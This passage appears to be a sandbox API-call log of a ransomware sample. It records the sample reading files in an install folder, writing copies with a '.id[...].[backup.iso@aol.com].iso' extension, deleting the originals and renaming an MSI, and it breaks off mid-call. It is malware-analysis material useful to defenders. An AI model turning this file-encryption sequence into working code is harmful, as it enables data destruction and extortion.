(lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0111.944] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=894) returned 1 [0111.944] CloseHandle (hObject=0x324) returned 1 [0111.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0111.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0111.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0111.944] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0111.944] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0111.944] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0111.945] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0112.002] ReadFile (in: hFile=0x324, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x37e, lpOverlapped=0x0) returned 1 [0112.007] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x380, lpOverlapped=0x0) returned 1 [0112.009] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0112.010] CloseHandle (hObject=0x324) returned 1 [0112.010] CloseHandle (hObject=0x31c) returned 1 [0112.014] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0112.016] SetEvent (hEvent=0x2cc) returned 1 [0112.016] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0112.016] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=894) returned 1 [0112.016] CloseHandle (hObject=0x31c) returned 1 [0112.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0112.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0112.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0112.017] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0112.017] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0112.017] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0112.017] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0112.018] ReadFile (in: hFile=0x31c, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x37e, lpOverlapped=0x0) returned 1 [0112.084] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x380, lpOverlapped=0x0) returned 1 [0112.086] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0112.086] CloseHandle (hObject=0x31c) returned 1 [0112.087] CloseHandle (hObject=0x324) returned 1 [0112.089] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0112.111] SetEvent (hEvent=0x2cc) returned 1 [0112.113] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0112.113] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=1150) returned 1 [0112.113] CloseHandle (hObject=0x324) returned 1 [0112.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0112.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0112.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0112.114] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0112.114] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0112.114] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0112.114] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0112.115] ReadFile (in: hFile=0x324, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x47e, lpOverlapped=0x0) returned 1 [0112.267] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x480, lpOverlapped=0x0) returned 1 [0112.286] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0112.286] CloseHandle (hObject=0x324) returned 1 [0112.286] CloseHandle (hObject=0x31c) returned 1 [0112.287] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0112.288] SetEvent (hEvent=0x2cc) returned 1 [0112.288] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0112.289] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=10134) returned 1 [0112.289] CloseHandle (hObject=0x31c) returned 1 [0112.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0112.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0112.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0112.289] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0112.289] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0112.289] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0112.290] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x340 [0114.618] ReadFile (in: hFile=0x31c, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x2796, lpOverlapped=0x0) returned 1 [0114.622] WriteFile (in: hFile=0x340, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x27a0, lpOverlapped=0x0) returned 1 [0114.623] WriteFile (in: hFile=0x340, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0114.623] CloseHandle (hObject=0x31c) returned 1 [0114.623] CloseHandle (hObject=0x340) returned 1 [0114.625] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0114.627] SetEvent (hEvent=0x2cc) returned 1 [0114.629] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0114.629] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=1150) returned 1 [0114.629] CloseHandle (hObject=0x31c) returned 1 [0114.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0114.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0114.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0114.630] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0114.630] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0114.630] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0114.630] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x33c [0114.630] ReadFile (in: hFile=0x31c, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x47e, lpOverlapped=0x0) returned 1 [0114.641] WriteFile (in: hFile=0x33c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x480, lpOverlapped=0x0) returned 1 [0114.643] WriteFile (in: hFile=0x33c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0114.643] CloseHandle (hObject=0x31c) returned 1 [0114.643] CloseHandle (hObject=0x33c) returned 1 [0114.644] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0114.645] SetEvent (hEvent=0x2cc) returned 1 [0114.645] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0114.645] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=10134) returned 1 [0114.645] CloseHandle (hObject=0x33c) returned 1 [0114.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0114.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0114.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0114.646] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0114.646] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0114.646] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0114.646] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0114.646] ReadFile (in: hFile=0x33c, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x2796, lpOverlapped=0x0) returned 1 [0114.648] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x27a0, lpOverlapped=0x0) returned 1 [0114.649] WriteFile (in: hFile=0x31c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0114.650] CloseHandle (hObject=0x33c) returned 1 [0114.650] CloseHandle (hObject=0x31c) returned 1 [0114.651] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0114.652] SetEvent (hEvent=0x2cc) returned 1 [0114.652] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0114.653] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=3628) returned 1 [0114.653] CloseHandle (hObject=0x31c) returned 1 [0114.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0114.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0114.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0114.654] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0114.654] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0114.654] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0114.654] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x33c [0114.654] ReadFile (in: hFile=0x31c, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xe2c, lpOverlapped=0x0) returned 1 [0114.657] WriteFile (in: hFile=0x33c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xe30, lpOverlapped=0x0) returned 1 [0114.658] WriteFile (in: hFile=0x33c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0114.658] CloseHandle (hObject=0x31c) returned 1 [0114.658] CloseHandle (hObject=0x33c) returned 1 [0114.913] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0114.925] SetEvent (hEvent=0x2cc) returned 1 [0115.023] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0115.024] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=1901056) returned 1 [0115.024] CloseHandle (hObject=0x33c) returned 1 [0115.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0115.024] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 1 [0115.025] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0115.025] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f5d0 | out: lpNewFilePointer=0x0) returned 1 [0115.025] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f5d0 | out: lpNewFilePointer=0x0) returned 1 [0115.026] ReadFile (in: hFile=0x33c, lpBuffer=0x394c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x325f5dc, lpOverlapped=0x0 | out: lpBuffer=0x394c058*, lpNumberOfBytesRead=0x325f5dc*=0x40000, lpOverlapped=0x0) returned 1 [0115.030] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x325f5d0 | out: lpNewFilePointer=0x0) returned 1 [0115.030] ReadFile (in: hFile=0x33c, lpBuffer=0x398c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x325f5dc, lpOverlapped=0x0 | out: lpBuffer=0x398c058*, lpNumberOfBytesRead=0x325f5dc*=0x40000, lpOverlapped=0x0) returned 1 [0115.041] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x325f5d0 | out: lpNewFilePointer=0x0) returned 1 [0115.041] ReadFile (in: hFile=0x33c, lpBuffer=0x39cc058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x325f5dc, lpOverlapped=0x0 | out: lpBuffer=0x39cc058*, lpNumberOfBytesRead=0x325f5dc*=0x40000, lpOverlapped=0x0) returned 1 [0115.056] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f740 | out: lpNewFilePointer=0x0) returned 1 [0115.056] WriteFile (hFile=0x33c, lpBuffer=0x394c020, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0) Thread: id = 25 os_tid = 0x101c [0088.172] GetProcessHeap () returned 0xc00000 [0088.172] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xcd2888 [0088.173] GetProcessHeap () returned 0xc00000 [0088.173] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xce2890 [0088.173] GetProcessHeap () returned 0xc00000 [0088.174] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x28) returned 0xc2b950 [0088.174] GetProcessHeap () returned 0xc00000 [0088.174] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x110102) returned 0x3609020 [0088.177] 